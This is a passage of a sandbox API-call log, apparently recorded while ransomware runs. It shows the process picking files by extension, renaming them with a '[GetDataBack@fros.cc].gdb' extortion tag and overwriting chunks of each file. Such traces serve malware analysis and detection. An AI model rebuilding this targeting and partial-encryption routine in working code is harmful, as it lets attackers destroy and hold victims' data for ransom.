[0130.230] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0130.230] lstrlenW (lpString=".bz2") returned 4 [0130.230] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0130.230] lstrlenW (lpString=".7z") returned 3 [0130.230] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0130.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.230] lstrlenW (lpString=".dbf") returned 4 [0130.230] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0130.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.231] lstrlenW (lpString=".1cd") returned 4 [0130.231] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0130.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.231] lstrlenW (lpString=".jpg") returned 4 [0130.231] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0130.231] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0130.231] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0130.231] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0130.231] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=162970271) returned 1 [0130.231] CloseHandle (hObject=0x1b0) returned 1 [0130.231] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0130.231] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.231] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0130.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0130.232] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0130.232] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.232] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.237] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.237] ReadFile (in: hFile=0x1b0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.244] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.245] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.245] ReadFile (in: hFile=0x1b0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.276] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0130.276] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc0104, lpOverlapped=0x0) returned 1 [0130.292] SetEndOfFile (hFile=0x1b0) returned 1 [0130.292] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.292] WriteFile (in: hFile=0x1b0, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.292] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.292] WriteFile (in: hFile=0x1b0, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.295] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.295] WriteFile (in: hFile=0x1b0, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.493] CloseHandle (hObject=0x1b0) returned 1 [0130.494] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0130.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.494] lstrlenW (lpString=".doc") returned 4 [0130.494] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0130.494] lstrlenW (lpString=".docx") returned 5 [0130.494] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0130.494] lstrlenW (lpString=".pdf") returned 4 [0130.494] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0130.494] lstrlenW (lpString=".xls") returned 4 [0130.494] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0130.494] lstrlenW (lpString=".xlsx") returned 5 [0130.494] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0130.495] lstrlenW (lpString=".ppt") returned 4 [0130.495] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0130.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.495] lstrlenW (lpString=".zip") returned 4 [0130.495] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0130.495] lstrlenW (lpString=".rar") returned 4 [0130.495] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0130.495] lstrlenW (lpString=".bz2") returned 4 [0130.495] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0130.495] lstrlenW (lpString=".7z") returned 3 [0130.495] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0130.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.495] lstrlenW (lpString=".dbf") returned 4 [0130.495] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0130.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.495] lstrlenW (lpString=".1cd") returned 4 [0130.495] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0130.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.495] lstrlenW (lpString=".jpg") returned 4 [0130.495] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0130.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.495] lstrlenW (lpString=".doc") returned 4 [0130.495] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0130.495] lstrlenW (lpString=".docx") returned 5 [0130.495] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0130.495] lstrlenW (lpString=".pdf") returned 4 [0130.496] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0130.496] lstrlenW (lpString=".xls") returned 4 [0130.496] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0130.496] lstrlenW (lpString=".xlsx") returned 5 [0130.496] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0130.496] lstrlenW (lpString=".ppt") returned 4 [0130.496] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0130.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.496] lstrlenW (lpString=".zip") returned 4 [0130.496] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0130.496] lstrlenW (lpString=".rar") returned 4 [0130.496] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0130.496] lstrlenW (lpString=".bz2") returned 4 [0130.496] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0130.496] lstrlenW (lpString=".7z") returned 3 [0130.496] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0130.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.496] lstrlenW (lpString=".dbf") returned 4 [0130.496] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0130.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.496] lstrlenW (lpString=".1cd") returned 4 [0130.496] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0130.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0130.496] lstrlenW (lpString=".jpg") returned 4 [0130.496] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0130.496] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0130.496] lstrlenW (lpString="Office32WW.msi") returned 14 [0130.496] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0130.497] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=1992192) returned 1 [0130.497] CloseHandle (hObject=0x1b0) returned 1 [0130.497] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0130.497] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.497] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0130.498] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0130.498] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0130.498] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.498] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.503] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.503] ReadFile (in: hFile=0x1b0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.506] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.506] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.506] ReadFile (in: hFile=0x1b0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.522] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0130.522] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc0108, lpOverlapped=0x0) returned 1 [0130.706] SetEndOfFile (hFile=0x1b0) returned 1 [0130.706] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.706] WriteFile (in: hFile=0x1b0, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.708] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.708] WriteFile (in: hFile=0x1b0, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.710] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.710] WriteFile (in: hFile=0x1b0, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.712] CloseHandle (hObject=0x1b0) returned 1 [0130.713] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0130.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.713] lstrlenW (lpString=".doc") returned 4 [0130.713] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0130.713] lstrlenW (lpString=".docx") returned 5 [0130.713] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0130.713] lstrlenW (lpString=".pdf") returned 4 [0130.713] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0130.713] lstrlenW (lpString=".xls") returned 4 [0130.713] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0130.713] lstrlenW (lpString=".xlsx") returned 5 [0130.713] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0130.713] lstrlenW (lpString=".ppt") returned 4 [0130.713] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0130.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.713] lstrlenW (lpString=".zip") returned 4 [0130.713] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0130.713] lstrlenW (lpString=".rar") returned 4 [0130.713] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0130.713] lstrlenW (lpString=".bz2") returned 4 [0130.713] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0130.713] lstrlenW (lpString=".7z") returned 3 [0130.713] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0130.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.713] lstrlenW (lpString=".dbf") returned 4 [0130.713] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0130.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.714] lstrlenW (lpString=".1cd") returned 4 [0130.714] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0130.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.714] lstrlenW (lpString=".jpg") returned 4 [0130.714] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0130.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.714] lstrlenW (lpString=".doc") returned 4 [0130.714] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0130.714] lstrlenW (lpString=".docx") returned 5 [0130.714] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0130.714] lstrlenW (lpString=".pdf") returned 4 [0130.714] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0130.714] lstrlenW (lpString=".xls") returned 4 [0130.714] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0130.714] lstrlenW (lpString=".xlsx") returned 5 [0130.714] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0130.714] lstrlenW (lpString=".ppt") returned 4 [0130.714] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0130.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.714] lstrlenW (lpString=".zip") returned 4 [0130.714] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0130.714] lstrlenW (lpString=".rar") returned 4 [0130.714] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0130.714] lstrlenW (lpString=".bz2") returned 4 [0130.714] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0130.714] lstrlenW (lpString=".7z") returned 3 [0130.714] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0130.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.714] lstrlenW (lpString=".dbf") returned 4 [0130.714] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0130.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.714] lstrlenW (lpString=".1cd") returned 4 [0130.714] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0130.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.714] lstrlenW (lpString=".jpg") returned 4 [0130.714] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0130.715] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0130.715] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0130.715] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0130.920] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=36233052) returned 1 [0130.921] CloseHandle (hObject=0x204) returned 1 [0130.921] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0130.921] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.921] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0130.923] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0130.923] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0130.923] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.923] ReadFile (in: hFile=0x204, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.925] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.925] ReadFile (in: hFile=0x204, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.928] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.928] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.928] ReadFile (in: hFile=0x204, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.942] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0130.942] WriteFile (in: hFile=0x204, lpBuffer=0x3450020*, 